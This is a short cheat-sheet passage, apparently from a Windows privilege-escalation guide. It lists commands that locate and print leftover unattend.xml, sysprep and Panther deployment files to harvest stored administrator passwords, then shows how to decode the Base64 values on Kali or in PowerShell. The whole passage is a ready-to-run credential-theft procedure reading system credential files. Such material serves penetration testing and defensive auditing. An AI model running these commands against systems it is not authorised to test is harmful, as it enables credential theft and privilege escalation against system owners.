These files are left behind after automated OS deployments and often contain Base64-encoded or plaintext administrator passwords.
Common locations to check · run all of these
dir /s /b C:\unattend.xml 2>nul
dir /s /b C:\unattend.* 2>nul
dir /s /b C:\sysprep.inf 2>nul
dir /s /b C:\sysprep\sysprep.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type C:\Windows\System32\Sysprep\unattend.xml 2>nul
type C:\Windows\System32\Sysprep\Panther\unattend.xml 2>nul
Extract cred if found
Look for <Password> tags · value is Base64 encoded
echo "BASE64VALUE" | base64 -d # On Kali
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("BASE64")) # PowerShell